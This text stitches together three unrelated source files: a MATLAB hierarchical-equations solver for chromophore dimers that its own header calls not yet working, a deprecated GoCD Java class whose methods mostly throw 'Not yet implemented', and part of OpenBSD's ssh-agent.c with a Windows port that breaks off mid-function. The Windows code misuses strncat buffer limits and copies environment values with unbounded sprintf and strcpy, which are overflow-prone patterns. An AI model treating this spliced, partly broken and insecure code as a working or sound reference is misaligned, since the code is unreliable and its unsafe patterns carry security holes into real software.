text:
function [Time_units,rho_vec,nn,total_prop_op]=multi_site_drude_and_brownian_HOM...
            (Htot,QQ,rho_0,cc1,cc2R,cc2I,vv1,vv2,Kap1,Kap2,viblvls,...
            numpoints,tendps,Temp,saveonlyrho00,use_reduced_mat,save_file_name)
        %NOT WORKING PROPERLY YET
%This code is used to model a dimer system of N chromophores with the
%Heirachial orders method.
% Unit setup
%All terms in inverse cm, conversion to sensible units achieved by
%E = hc / lamba => 6.62606957 *10^{-33} 299792458 *10 * "E in code" gives
%
%if nargin == 0  %use a select set nargin
%%
 % LL is the total Louivillian for the system of N chromophores and
 % whatever vibrations are treated quantum mechanically.
 % QQ is the extra convergence parameter made up of all the terms of the
 % form int_0^t d tau exp(-v (t-tau)) * ( c_1 V^X(tau) + c_2 V^O(tau) )
 %  which are evaluated via exp(-v (t-tau)) ~ delta(t-tau)/v, as v->inf
 % and are thus just markovian terms.
 % cc1 = residues at all the poles of 1/(1-e^{-beta omega})
 % cc2R = residues at all the poles of J(omega), contribution to V^x
 % cc2I = residues at all the poles of J(omega), contribution to V^o
 % i.e. the anti commutator part
 % each of these is paired with a frequency
 % vv1 = position of poles of 1/(1-e^{-beta omega})  times -1i
 % vv2 = position of poles of J(omega)  times -1i
 % N is the number of sites / Chromophores
 N = size(cc1,1);
 Kappa = size(cc1,2);
% Kappa e.g.= 1; %truncation parameter satisfying Kappa >>omega_0 beta hbar/2pi
 %beyond this e^(-v_(k>kappa) t)*v_k ~delta(t) is made
 % Kap1 e.g. = 4*omega_0 (frequency of significant transition), this
 % truncation parameter is used instead of / as well as Kap2, this
 % truncates the heirarchy based on cc dot vv via the approximation
 % exp(-cc.vv*t) ~ delta(t)/(cc.vv)
% Kap2 e.g.= 4; %second truncation parameter, there are Kappa + 1 explicitly
 %treated exponentials, this number is the maximum order the sum of the
 %number of powers can take, e.g. n_1 + n_2 +... + n_Kappa <= Kap2
 % numpoints is the number of time points to save of the solved equation
 % for all the auxilary density matricies
 % tendps e.g.= 2 is the end time in pico seconds
% Temp e.g= 300; %temperature in Kelvin
% rho_0 is some initial condition
% saveonlyrho00 is a flag which makes the solver save only rho00
if ~exist('saveonlyrho00','var')
    saveonlyrho00 =true;
end
if ~exist('save_file_name','var')
   save_file_name  = 'saved_data.mat';
end
 %use_reduced_mat =1; %include only linearly independent elements of rho
 %i.e. for 2 X 2 rho: rho_vec_red rho_11, rho_21, p_22
 %tested to work

    light_speed = 299792458; %units m s^{-1}, NOT cm
    length_unit = 100; % units m, this is 1/[1(cm)^{-1}]
    hbar = 1.05457173*10^(-34); %units Js
    boltz_const = 1.3806488 * 10^(-23); %units J K^{-1}
% to run the code not as a function just uncomment and use each module
% Energy in Joules,  extra factor of 10 is because thats speed in cm/s
convfact = 2*pi * light_speed *length_unit  *10^(-12); %2 pi * "c" in cm/s * 1ps
tend =convfact*tendps; %end time in units you get by putting everything in wavenumbers

beta = (2 * pi * hbar * light_speed * length_unit)/ ( Temp * boltz_const);

tic

% for j = 1:N
% lg = abs(imag(vv2(j,:)))>eps(abs(vv2(j,:))); %find elements with imaginary
%
% temp = vv2(j,lg);
%
% for k = 1:size(temp,2) %find poles with opposite frequency
%
%     [temp2,temp3] = min(abs(temp(k) + temp));
%     if abs(temp2) < eps(temp2)
%         pair(j,k) = temp3;
%     end
% end
% end
%% Construct Ltot, the total Louville for self coupling density matricies

% For N X N A and B we have the following
% reshape(A * B, N^2,1) = kron(eye(N),A)*reshape(B, N^2,1)
% reshape(B * A, N^2,1) = kron(A.',eye(N))*reshape(B, N^2,1)
% Hence H rho - rho H can be expressed with a flattened rho as L *rho

 LL = -1i*(kron(eye(length(Htot)),Htot)-kron(Htot.',eye(length(Htot))));
% QQ as input should be the constants in the correction
if size(QQ) == size(LL) %assume matrix given that is Q
    Q = QQ; clear QQ
else
if numel(QQ) == 1 % same for every site
    QQ = repmat(QQ,1,N*viblvls);
end
 Q = LL*0;
%
% %if include_truncation_correction
for j = 1:N

    Qj = zeros(N);
    Qj(j,j) = 1;  Qj = kron(Qj,eye(viblvls)); eyeQ = eye(length(Qj));

    Q = Q + QQ(j).*(kron(Qj.',eyeQ) + kron(eyeQ,Qj) - 2*kron(Qj.',Qj));

    %reshape(A * B * A, N^2,1) = kron(A.',A)*reshape(B, N^2,1)
    %[Q_i,[Q_i,rho_n]] = (1 X Q_i + Q_i^T X 1 -2 Q_i^T X Q_i ) rho_vec
    % with rho_vec the flattened (vector) version of rho_n (matrix)

    % .*(kron(Vj.',eyeQ) + kron(eyeQ,Vj));
end
% %end
end
Ltot = (LL-Q);
%in principle Q can also include high frequency decaying components from
% poles in J(omega)

%% Construct density matrix and higher orders

if isempty(Kap1)
    Kap1 = inf; %no truncation based on Kap1
end

if Kap2>0  %else trivial

numwithn = zeros(1,Kap2+1); %size(cc2,2) is number of poles in J(omega)
for kk = 0:Kap2
numwithn(kk+1) = nchoosek((Kappa+size(cc2R,2))*N-1+kk,kk);
%number of density operators with each order, equal to size of
%irreducible nth power rep of sym group U(N*(Kappa+size(cc2,2)))
end
cc = [cc1, cc2R]; ccI = [cc1*0, cc2I];
vv = [vv1, vv2];
nn = zeros(sum(numwithn),N*size(cc,2)); %if Kap1 <inf then less elements may be present
totfreq = real(reshape(vv.',numel(vv),1));
count1=0; tmp3 = 0;
for k =2:Kap2+1

        count2 = count1 + size(tmp3,1);

        tmp3 = zeros(length(count1+1:count2)*size(nn,2),size(nn,2));
       for j = count1+1:count2
        tmp = repmat(nn(j,:),size(nn,2),1); %select element from tier below
        tmp2 = tmp+eye(size(nn,2)); %add one to every position
        tmp3(1+(j-(count1+1))*size(nn,2):(j-count1)*size(nn,2) ,:) = tmp2  ;
       end
       %remove any elements of tmp3 which fail to satisfy the high
       %frequency cut off condition
       lg = false(size(tmp3,1),1);
       for j =1:length(count1+1:count2)*size(nn,2)
           lg(j) = tmp3(j,:)*totfreq < Kap1;
       end
       tmp3 = tmp3(lg,:);
       %now remove duplicate entries
       jj=1;
       while jj < size(tmp3,1)-1
           lg = any(tmp3(jj+1:end,:)  ~= repmat(tmp3(jj,:),size(tmp3,1)-jj,1),2);
           lg = [true(jj,1);lg]; %#ok<AGROW>
           tmp3 = tmp3(lg,:);
           jj=jj+1;
       end
       count1 = count2;
       nn(count1+1:count1 + size(tmp3,1),:) = tmp3;
        numwithn(k) = size(tmp3,1); %set actual number included
end
%would be good to include a complicated truncation condition such that
%weakly coupled modes could be taken only to lower orders

%clean any nn values which are all zero besides the first
nn = nn([true;any(nn(2:end,:)~=0,2)],:);

else
   nn=0; numwithn=1; %trivial case
end

toc
tic
%% Set initial condition as lioville space
rho_vec = zeros(size(nn,1)*numel(rho_0),1);
%initial condition
rho_vec(1:numel(rho_0)) = reshape(rho_0,numel(rho_0),1);

% Can reshape to zeros(size(rho_heir,1)*numel(rho),1);
%Column vector of ever possible element of every order of density matrix.
% Ordered as you would get if you called the density matrix by one number
% e.g. if rho is an N X N matrix, rho(n) is the [n-1,mod(N)]+1th row and
%the floor((n-1)/N)+1 th column.

%% Calculate the coupling from the heirarchy

%general up coupling
coup_p1 = zeros(size(nn,1));  %coefficient will be the sqrt of number it couples to (upward)
coup_p1_save= {};
%must also have the term that accounts for the fact that down coupling to
% the k=0 states are different
coup_m1 = coup_p1 ;
coup_m1_acom = coup_p1 ;  %anti commutator part
coup_m1_save= {}; coup_m1_acom_save= {};
for j = 1:N
for k =1:sum(numwithn(1:end))

    nnsec = nn(k,1+(j-1)*(Kappa+size(cc2R,2)):j*(Kappa+size(cc2R,2))); %section
    nnsec2 = [nn(k,1:(j-1)*(Kappa+size(cc2R,2))),nn(k,j*(Kappa+size(cc2R,2))+1:end)]; %rest

    temp0 = repmat(nnsec,size(nn,1),1); %make same size as nn
    temp02 = repmat(nnsec2,size(nn,1),1);

    temp = temp0 - nn(:,1+(j-1)*(Kappa+size(cc2R,2)):j*(Kappa+size(cc2R,2))); %take away rest
    temp4 = temp02 - [nn(:,1:(j-1)*(Kappa+size(cc2R,2))),nn(:,j*(Kappa+size(cc2R,2))+1:end)];

    temp2 = sum(temp~=0,2) ==1; %only one element +/- 1 diff

    temp3 = sum(temp,2) < -1/2 & sum(temp,2) > -3/2; %ones with a -1 net
    temp4 = all(temp4==0,2); %match rest of the terms

    comb_lg = temp2 & temp3 & temp4; %full condition required
    if any(comb_lg)
    [~,temp44] = find(temp(comb_lg,:)); %find row position

    temp7 = sqrt(sqrt(abs(cc(j,temp44)).^2+abs(ccI(j,temp44)).^2));
    coup_p1(k,comb_lg)=temp7.*sqrt(1+nnsec(temp44));
    end
    %elements with minus are the transpose of this
    %now second down coupling operator

    temp33 = sum(temp,2) > 1/2 & sum(temp,2) < 3/2; %ones with a + net about
    comb_lg = temp2 & temp33 & temp4;
    [~,temp44] = find(temp(comb_lg,:)); %find row position
    if any(comb_lg)

    temp7 = cc(j,temp44) ./ sqrt(sqrt(abs(cc(j,temp44)).^2+abs(ccI(j,temp44)).^2));
    temp8 = ccI(j,temp44) ./ sqrt(sqrt(abs(cc(j,temp44)).^2+abs(ccI(j,temp44)).^2));

    coup_m1(k,comb_lg)= temp7.*sqrt(nnsec(temp44));
    coup_m1_acom(k,comb_lg) = temp8.*sqrt(nnsec(temp44));
    end

end
coup_p1_save{j} = coup_p1; coup_p1 = 0*coup_p1;
coup_m1_save{j}= coup_m1;  coup_m1 = coup_p1;
coup_m1_acom_save{j}= coup_m1_acom; coup_m1_acom=coup_p1;

end
%down coupling from real frequency and residue modes is just  coup_p1.'

% calculate the sum_{j=1}^N sum_{k=0}^Kappa n_{jk} v_{ik}
if size(nn,1)==1
  const_factor = 0;
else
    %reshape(vv.',numel(vv),1)
    %([vv(1,:).';vv(2,:).';vv(3,:).';vv(4,:).'])

const_factor = nn*reshape(vv.',numel(vv),1);%([vv(1,:).';vv(2,:).']);
%const_factor = const_factor -imag(sum(const_factor))/length(const_factor);
end

%%  Calculate the Uber operator that propogates the entire thing
total_prop_op = sparse(length(rho_vec),length(rho_vec));
   %plus_term = total_prop_op;  minus_term = total_prop_op;

        for j = 1:N

    Qjsec = zeros(N);  Qjsec(j,j) = 1;  Qjsec = kron(Qjsec,eye(viblvls));
    eyeQ = eye(length(Qjsec));
    Qj = -1i*sparse(kron(eyeQ,Qjsec) - kron(Qjsec.',eyeQ)); %commtator
    %keep factor of -1i from -1i tilde(V)^X term
    Uj=  -1i*sparse(kron(eyeQ,Qjsec) + kron(Qjsec.',eyeQ)); %anti commutator
    % factor of -1i cancels with the factor here anyway
    % plus_term = plus_term + kron(sparse(coup_p1_save{j}),Qj);
    %minus_term = minus_term + kron(sparse(coup_m1_acom_save{j}),Uj) ...
    %              +  kron(sparse(coup_m1_save{j}),Qj);

    total_prop_op = total_prop_op + kron(sparse(coup_p1_save{j}+coup_m1_save{j}),Qj);
    total_prop_op = total_prop_op + kron(sparse(coup_m1_acom_save{j}),Uj);
        end

    total_prop_op = total_prop_op + kron(eye(length(rho_vec)/numel(Htot)),sparse(Ltot));
    temp = kron(const_factor,ones(numel(Htot),1));
    %identical constant factor
    total_prop_op = total_prop_op - sparse(1:length(temp),1:length(temp),temp);
%% Propogate in time and solve system
topass{1} = total_prop_op;
if  use_reduced_mat
    topass{2} = length(Htot);   topass{3} = size(nn,1);
rhs_dif_eq2(1,topass); %pass parameters to function
else
rhs_dif_eq(1,topass); %pass parameters to function
end
clearvars -except tend basis_proj convfact rho_vec nn use_reduced_mat ...
            rho_0 numpoints saveonlyrho00 save_file_name

%no point keeping two copies really, save memory etc

toc
tic
options = odeset('OutputFcn',@outputfun);
%call with number of points,
%in general one can call the output function with
% outputfun([numpoints,timetosave1,...timetosaveN],rho_vec,'file.mat')
% to get it to save N different sections numpoints long to a file, useful
% for long intergrations that may have to be killed.
options.refine = 1; %less output
if length(numpoints)>1
   save(save_file_name,'convfact') %needed to convert time to ps
end
if  use_reduced_mat

       temp = reshape(tril(true(size(rho_0))) , 1 , numel(rho_0));
       temp2 = repmat(temp,1,size(nn,1));

       rho_vec = rho_vec(temp2);  %reduced rho_vec

       if saveonlyrho00
    outputfun(numpoints,rho_vec(1:sum(temp)),save_file_name);  %save only denmat
       else
    outputfun(numpoints,rho_vec,save_file_name);
       end
    %[Time_units,rho_vec] = ode45(@rhs_dif_eq2,[0,tend],rho_vec,options);

    [~,~] = ode45(@rhs_dif_eq2,[0,tend],rho_vec,options);
    [Time_units,rho_vec] =outputfun(numpoints,rho_vec,'get_data'); %also cleans
else
       if saveonlyrho00
    outputfun(numpoints,rho_vec(1:numel(rho_0)),save_file_name);  %save only denmat
       else
    outputfun(numpoints,rho_vec,save_file_name);
       end

    %[Time_units,rho_vec] = ode45(@rhs_dif_eq,[0,tend],rho_vec,options);
    [~,~] = ode45(@rhs_dif_eq,[0,tend],rho_vec,options);
    [Time_units,rho_vec] =outputfun(numpoints,rho_vec,'get_data');
end

    non_redundant_points = [true;Time_units(2:end)~=0];
    Time_units = Time_units(non_redundant_points)/convfact;
    rho_vec = rho_vec(non_redundant_points,:);
toc
%end
total_prop_op = rhs_dif_eq2([],[]);
end
%%
function drho = rhs_dif_eq(t,rho_vc) %Couples to same numwithn value

persistent total_prop

        if isempty(t) %pass empty t to get persistent vars back
            drho = total_prop;
                        clear total_prop
            return
        end
        if iscell(rho_vc)

            total_prop = rho_vc{1}; %propogation matrix

            drho =[];

            return
        end
        %outtest = [t,max(max(abs(rho_vc)))]
        drho = full(total_prop*rho_vc);

end

function drho = rhs_dif_eq2(t,rho_vc_red) %Couples to same numwithn value

%rho_vc_red is the reduced vector (length = numstates * (N^2+N)/2 )
%from taking only the independent vectors of each density matrix

persistent total_prop_1  total_prop_2 pickr

        if isempty(t) %pass empty t to get persistent vars back
            drho{1} = total_prop_1;
            drho{2} = total_prop_2;
                        clear total_prop_1 total_prop_2  pickr
            return
        end
        if iscell(rho_vc_red)

            total_prop = rho_vc_red{1}; %propogation matrix
            N = rho_vc_red{2}; %size of Htot
            NN = rho_vc_red{3}; %total number of density matricies
            temp = reshape(tril(true(N)) , 1,N^2);
            temp2 = repmat(temp,1,NN);  %picks out L.I. elements in lower d
            total_prop_1 = total_prop(temp2,temp2);
            %total_1 doesn't include anything that multiples the conjugates
            total_prop_2 = total_prop(temp2,~temp2);
            %element that multiples the conjugate terms

 % must construct matrix that maps the off diagonal positions to
 % the order they need to appear in the matrix multiplication,
 % the flattening does not preserve this order... must map to the order in
 % which the non LI elements (upper half) appear to the order in which the
 % elements on the lower diagonal (on which they depend) will appear.

            count1 =1;  count2 = 0;
            test = zeros(N);
     for k = 1:(N-1)
     count2 = count2 + N-k;
     test(1+k:N,k) =count1:count2;
     count1= count2+1;
     end
%     for k = 2:N
%     count2 = count2 + k-1;
%     test(1:k-1,k) =count1:count2;
%     count1= count2+1;
%     end
    test2 = reshape(test',1,N^2);
    [~,order] = sort(test2(test2~=0));

            pickr = reshape(tril(true(N),-1) , 1,N^2);
            pickr = pickr(temp);
            %pic elements of rho_vec_red which are on diagonal
            pickr = repmat(pickr,1,NN);
            %prop 2 multiplies, i.e. off diag element
            drho =[];

                neworder = zeros(sum(pickr),1);
                neworder(1:count2) = order;
    for k = 2:NN
        neworder(1+((k-1)*count2):(k*count2))  = ...
            neworder(1+((k-2)*count2):((k-1)*count2)) + max(order);
    end
    total_prop_2 = total_prop_2(:,neworder);

            return
        end
        drho = full(total_prop_1*rho_vc_red);

        drho = drho + full(total_prop_2*conj(rho_vc_red(pickr)));

end
%to get rho_vec from rho_vec red
%             temp = reshape(tril(true(N)) , 1,N^2);
%            temp2 = repmat(temp,1,size(nn,1));
%       rho_vec(temp2) = rho_vec_red;
% extra density matrix as normal and then just add the conjugate of matrix
% minus the leading diagonal

function [status,othervar] = outputfun(t,rho_v,flag)
persistent filetosave whentosave cnt numpoints saved_timee saved_rho Tpoints lastpoint %wtfmatlab
        %This function controls the output from the ODE solver to stop it
        %saving so much fucking data!

status= 0;
if ~isempty(t) && strcmp(flag,'')
    %size(saved_rho,2)
   % size(rho_v)
    tt = t(end);
    rr = rho_v(1:size(saved_rho,2),end);
end
        if strcmp(flag,'') %empty flag = standard call during time-ev

            oldlastpoint = lastpoint;
            while tt>=Tpoints(lastpoint+1) %if time is past the spacing interval save it

                lastpoint = lastpoint+1;
                %if so many intervals are picked and the solver takes big
                %steps the saved things will have lots of zeros, I can't be
                %arsed to feed back into the options with refine for shit I
                %will never need.
            end

            if  oldlastpoint~=lastpoint

                saved_timee(lastpoint + 1) = tt;
                saved_rho(lastpoint + 1,:) = rr;
            end

        elseif strcmp(flag,'init')
         % wtfmatlab = 1:10

            if isempty(whentosave)
            Tpoints = [linspace(t(1),t(2),numpoints),inf];
            else
                %function will save to disk as it goes, dumping all
                %previous data
             Tpoints = [linspace(t(1),whentosave(1),numpoints),inf];
             cnt = 1;

            end
            saved_timee(1) = t(1);
            saved_rho(1,:) = rho_v(1:size(saved_rho,2));

            lastpoint=1;
            return
            %when time is larger than this save the value to the var
        elseif strcmp(flag,'get_data')

            status = saved_timee;
            othervar = saved_rho;
               %clearvars -except status othervar
               return
        elseif ~strcmp(flag,'done') && ~isempty(flag)
         %   most initial step of all

            if length(t) == 1 %past a single number t equal to the
                %number of points you wish to save
            numpoints = t;
            saved_timee = zeros(numpoints,1);
            %size(saved_timee)
            saved_rho = zeros(numpoints,length(rho_v));
            whentosave = [];

            else %past a vector t indicating how many points after which
                %to save the output to disk under a filename given by flag
                numpoints = t(1);
                saved_timee = zeros(numpoints,1);
                saved_rho = zeros(numpoints,length(rho_v));
                filetosave = flag;
                whentosave = t(2:end);

            end
            return

        elseif strcmp(flag,'done') %finish integration
                    clearvars -except saved_rho saved_time
                      status = 1;
        return
        end

    if ~isempty(whentosave)
%out  = flag
        if tt >= whentosave(1)

            if cnt==1

            non_redundant_points = [true;saved_timee(2:lastpoint)~=0];  %#ok<NASGU>
            else
            non_redundant_points = saved_timee~=0;     %#ok<NASGU>
            end
eval([strcat('saved_time',num2str(cnt)) '= saved_timee(non_redundant_points);']);
eval([strcat('saved_rho',num2str(cnt))  '= saved_rho(non_redundant_points,:);']);

            saved_timee = 0*saved_timee;
            saved_rho   = 0*saved_rho;

            save(filetosave,strcat('saved_time',num2str(cnt)),...
                strcat('saved_rho',num2str(cnt)),'-append') ;
            if length(whentosave)>1  %shouldn't not be the case
            Tpoints =  [linspace(whentosave(1),whentosave(2),length(saved_timee)),inf];
            whentosave = whentosave(2:end); %get rid of first value
            else
            Tpoints =  [whentosave(1),inf];    %no more gets saved
                status = 1; %stop the integration
            end
            lastpoint = 1;  cnt = cnt+1;
        end
    end

end


text:
package com.thoughtworks.go.server.service.result;

import com.thoughtworks.go.serverhealth.HealthStateType;
import com.thoughtworks.go.serverhealth.ServerHealthService;
import com.thoughtworks.go.serverhealth.ServerHealthState;

/**
 * @understands updating server health information relating to disk space
 * @deprecated Use LocalizedOperationResult interface instead
 */
public class DiskSpaceOperationResult implements OperationResult {
    private final ServerHealthService serverHealthService;
    private boolean canContinue = true;

    public DiskSpaceOperationResult(ServerHealthService serverHealthService) {
        this.serverHealthService = serverHealthService;
    }

    public ServerHealthState success(HealthStateType healthStateType) {
        ServerHealthState state = ServerHealthState.success(healthStateType);
        serverHealthService.update(state);
        return state;
    }

    public ServerHealthState error(String message, String description, HealthStateType type) {
        ServerHealthState state = ServerHealthState.error(message, description, type);
        serverHealthService.update(state);
        canContinue = false;
        return state;
    }

    public ServerHealthState warning(String message, String description, HealthStateType type) {
        ServerHealthState state = ServerHealthState.warning(message, description, type);
        serverHealthService.update(state);
        canContinue = false;
        return state;
    }

    public ServerHealthState getServerHealthState() {
        throw new RuntimeException("Not yet implemented");
    }

    public boolean canContinue() {
        return canContinue;
    }

    public ServerHealthState unauthorized(String message, String description, HealthStateType id) {
        throw new RuntimeException("Not yet implemented");
    }

    @Override
    public ServerHealthState forbidden(String message, String description, HealthStateType id) {
        throw new RuntimeException("Not yet implemented");
    }

    public void conflict(String message, String description, HealthStateType healthStateType) {
        throw new RuntimeException("Not yet implemented");
    }

    public void notFound(String message, String description, HealthStateType healthStateType) {
        throw new RuntimeException("Not yet implemented");
    }

    public void accepted(String message, String description, HealthStateType healthStateType) {
        throw new RuntimeException("Not yet implemented");
    }

    public void ok(String message) {
        throw new RuntimeException("Not yet implemented");
    }

    public void notAcceptable(String message, final HealthStateType type) {
        throw new RuntimeException("Not yet implemented");
    }

    @Override
    public void internalServerError(String message, HealthStateType type) {
        throw new RuntimeException("Not yet implemented");
    }

    @Override
    public void insufficientStorage(String message, String description, HealthStateType type) {
        error(message, description, type);
    }

    public void notAcceptable(String message, String description, final HealthStateType type) {
        throw new RuntimeException("Not yet implemented");
    }

    @Override
    public void unprocessibleEntity(String message, String description, HealthStateType healthStateType) {
        throw new RuntimeException("Not yet implemented");
    }

    public void badRequest(String message, String description, HealthStateType healthStateType) {
        error(message, description, healthStateType);
    }

}

redpajama_set_name: RedPajamaGithub


text:
/* $OpenBSD: ssh-agent.c,v 1.177 2013/07/20 01:50:20 djm Exp $ */
/*
 * Author: Tatu Ylonen <ylo@cs.hut.fi>
 * Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
 *                    All rights reserved
 * The authentication agent program.
 *
 * As far as I am concerned, the code I have written for this software
 * can be used freely for any purpose.  Any derived versions of this
 * software must be clearly marked as such, and if the derived work is
 * incompatible with the protocol description in the RFC file, it must be
 * called by a name other than "ssh" or "Secure Shell".
 *
 * Copyright (c) 2000, 2001 Markus Friedl.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include "includes.h"

#include <sys/types.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/socket.h>
#ifdef HAVE_SYS_TIME_H
# include <sys/time.h>
#endif
#ifdef HAVE_SYS_UN_H
# include <sys/un.h>
#endif
#include "openbsd-compat/sys-queue.h"

#include <openssl/evp.h>
#include <openssl/md5.h>
#include "openbsd-compat/openssl-compat.h"

#include <errno.h>
#include <fcntl.h>
#ifdef HAVE_PATHS_H
# include <paths.h>
#endif
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>

#include "xmalloc.h"
#include "ssh.h"
#include "rsa.h"
#include "buffer.h"
#include "key.h"
#include "authfd.h"
#include "compat.h"
#include "log.h"
#include "pathnames.h"
#include "misc.h"

#ifdef ENABLE_PKCS11
#include "ssh-pkcs11.h"
#endif

#if defined(HAVE_SYS_PRCTL_H)
#include <sys/prctl.h>	/* For prctl() and PR_SET_DUMPABLE */
#endif

typedef enum {
	AUTH_UNUSED,
	AUTH_SOCKET,
	AUTH_CONNECTION
} sock_type;

typedef struct {
	int fd;
	sock_type type;
	Buffer input;
	Buffer output;
	Buffer request;
} SocketEntry;

u_int sockets_alloc = 0;
SocketEntry *sockets = NULL;

typedef struct identity {
	TAILQ_ENTRY(identity) next;
	Key *key;
	char *comment;
	char *provider;
	time_t death;
	u_int confirm;
} Identity;

typedef struct {
	int nentries;
	TAILQ_HEAD(idqueue, identity) idlist;
} Idtab;

/* private key table, one per protocol version */
Idtab idtable[3];

int max_fd = 0;

/* pid of shell == parent of agent */
pid_t parent_pid = -1;
time_t parent_alive_interval = 0;

/* pathname and directory for AUTH_SOCKET */
char socket_name[MAXPATHLEN];
char socket_dir[MAXPATHLEN];

/* locking */
int locked = 0;
char *lock_passwd = NULL;

extern char *__progname;

/* Default lifetime in seconds (0 == forever) */
static long lifetime = 0;

#ifdef WIN32_FIXME

  #include <windows.h>
  #include <tlhelp32.h>

  #undef   DEBUG

  #ifdef DEBUG
    #define DBG_MSG(...) fprintf(stderr, __VA_ARGS__)
  #else
    #define DBG_MSG(...)
  #endif

  #define FAIL(X) if (X) goto fail

  /*
   * This flag is setted for child processes only (fake fork).
   */

  static int InsideChild = 0;

  /*
   * Save args for forked child.
   */

  static int ArgsCount = 0;

  static char **ArgsVector = NULL;

  static int Socket = -1;

  /*
   * We create full path to directory, where socket files will be stored.
   *
   * buf     - buffer, where to store path. (OUT)
   * bufSize - size of output buffer. (IN)
   */

  void GetSocketDir(char *buf, int bufSize)
  {
    if (bufSize > 0 && buf)
    {
      buf[0] = 0;

      strncat(buf, getenv("HOMEDRIVE"), bufSize);
      strncat(buf, getenv("HOMEPATH"), bufSize);
      strncat(buf, "/.ssh", bufSize);

      /*
       * Make sure does path already exist.
       */

      CreateDirectory(buf, NULL);
    }
  }

  /*
   * Iterate all socket files and delete if unused by anyone.
   * This is workaround for bad scenarios like hardware failure
   * or terminate ssh-agent by third-part process.
   */

  int CleanUpSocketFiles()
  {
    int exitCode = -1;

    HANDLE hFind = INVALID_HANDLE_VALUE;

    WIN32_FIND_DATA ffd;

    char path[MAX_PATH] = {0};
    char mask[MAX_PATH] = {0};

    int pathSize = 0;

    /*
     * Generate path, where socket files stored.
     */

    sprintf(path, "%s%s\\.ssh\\", getenv("HOMEDRIVE"), getenv("HOMEPATH"));

    pathSize = strlen(path);

    sprintf(mask, "%sagent-*", path);

    /*
     * Find first socket file.
     */

    hFind = FindFirstFile(mask, &ffd);

    FAIL(hFind == INVALID_HANDLE_VALUE);

    /*
     * Delete unused socket files.
     */

    do
    {
      strcpy(path + pathSize, ffd.cFileName);

      if (DeleteFile(path))
      {
        DBG_MSG("Socket file [%s] deleted.\n", path);
      }
    } while (FindNextFile(hFind, &ffd));

    FAIL(GetLastError() != ERROR_NO_MORE_FILES);

    /*
     * Error handler.
     */

    exitCode = 0;

    fail:

    FindClose(hFind);

    if (exitCode)
    {
      DBG_MSG("ERROR. Cannot clean up socket files."
                  " Error code is %u.\n", GetLastError());
    }

    return exitCode;
  }

  /*
   * Terminate process, used for kill forked child.
   *
   * pid    - ProcessId retrieved from CreateProcess (IN)
   * unused - For compatibility with linux kill only.
   *
   * RETURNS: 0 if OK.
   */

  static int kill(int pid, int unused)
  {
    int exitCode = -1;

    HANDLE hProcess = NULL;

    /*
     * Send SIGINT first.
     */

    if (GenerateConsoleCtrlEvent(CTRL_BREAK_EVENT, pid) == FALSE)
    {
      DBG_MSG("WARNING. Cannot send exit signal to child [%u]. "
                  "Error code is %u.\n", pid, (unsigned int) GetLastError());

      /*
       * Cannot send SIGINT, terminate.
       */

      DBG_MSG("Opening child process [pid = %u]...\n");

      hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

      FAIL(hProcess == NULL);

      DBG_MSG("Terminating child process [pid = %u]...\n", pid);

      FAIL(TerminateProcess(hProcess, 0) == FALSE);

      CleanUpSocketFiles();
    }

    exitCode = 0;

    fail:

    return exitCode;
  }

  /*
   * This is fake fork for Windows. It creates child ssh-agent
   * process with '-f' flag for make difference between child
   * and parent.
   *
   * RETURNS: 0 if already inside children. (Do nothing in this case).
   *          Pid of new, created process, elsewhere.
   */

  static int fork()
  {
    /*
     * Already inside child. Do nothing, return 0 like POSIX fork() does.
     */

    if (InsideChild)
    {
      return 0;
    }

    /*
     * Creates new child.
     */

    else
    {
      STARTUPINFO si = {0};

      PROCESS_INFORMATION pi = {0};

      char cmd[MAX_PATH + 64] = {0};

      int i = 0;

      /*
       * Prepare command for run forked child. Copy args
       * from parrent.
       */

      for (i = 0; i < ArgsCount; i++)
      {
        strncat(cmd, ArgsVector[i], sizeof(cmd));
        strncat(cmd, " ", sizeof(cmd));
      }

      /*
       * Add '-f' to existing args to signal that is child process.
       */

      strncat(cmd, "-f ", sizeof(cmd));

      /*
       * Give name of socket file. Note that, parent doesn't create socket
       * on Windows, but only generate name for it and pass it to child.
       */

      strncat(cmd, "-a \"", sizeof(cmd));
      strncat(cmd, socket_name, sizeof(cmd));
      strncat(cmd, "\"", sizeof(cmd));

      /*
       * Create child process.
       */

      si.cb = sizeof(STARTUPINFO);

      DBG_MSG("Creating child process [cmd = %s]...\n", cmd);

      FAIL(CreateProcess(NULL, cmd, NULL, NULL, TRUE,
                             NORMAL_PRIORITY_CLASS | CREATE_NEW_PROCESS_GROUP,
                                 NULL, NULL, &si, &pi) == FALSE);

      DBG_MSG("Child created with PID = %u.\n", pi.dwProcessId);

      return pi.dwProcessId;
    }

    /*
     * Error handler.
     */

    fail:

    DBG_MSG("ERROR. Cannot create child process. Exit code is %u.\n",
                (unsigned int) GetLastError());

    return -1;
  }

  /*
   * This function handles SIGINT signal.
   */

  BOOL WINAPI CtrlHandlerRoutine(DWORD dwCtrlType)
  {
